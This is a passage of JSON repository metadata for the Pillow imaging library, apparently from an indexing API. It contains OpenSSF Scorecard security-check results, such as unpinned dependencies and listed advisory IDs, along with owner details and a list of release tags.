principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36784011,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-19T02:00:06.185Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":19,"last_synced_at":"2026-08-13T00:36:15.473Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":13916,"followers":251,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-08-13T00:36:15.483Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"12.3.0","sha":"bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d","kind":"commit","published_at":"2026-07-01T09:09:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0/manifests"},{"name":"12.2.0","sha":"3c41c095064200a02672d89cc5ff629eaf4b0d4f","kind":"commit","published_at":"2026-04-01T12:11:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0/manifests"},{"name":"12.1.1","sha":"5158d98c807e719c5938aa3886913ef0ea6814e9","kind":"commit","published_at":"2026-02-11T01:13:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1/manifests"},{"name":"12.1.0","sha":"46f45f674d47b5d8bc54230dda8fe9e214598b87","kind":"commit","published_at":"2026-01-02T06:03:05.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0/manifests"},{"name":"12.0.0","sha":"693df7b42c666f88c719f9973be0ad71607328e0","kind":"commit","published_at":"2025-10-15T17:06:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0/manifests"},{"name":"11.3.0","sha":"89f1f4626a2aaf5f3d5ca6437f41def2998fbe09","kind":"commit","published_at":"2025-07-01T07:41:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0/manifests"},{"name":"11.2.1","sha":"339bc5db93bd95decf65a59fab273f300db6594d","kind":"commit","published_at":"2025-04-12T16:55:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1/manifests"},{"name":"11.1.0","sha":"4c1aed801e43c6b307e7135279ca1dbc02bbf052","kind":"commit","published_at":"2025-01-02T05:00:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0/manifests"},{"name":"11.0.0","sha":"204aae6682fc936f5350b3fe70335776f81480a7","kind":"commit","published_at":"2024-10-15T05:55:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0/manifests"},{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_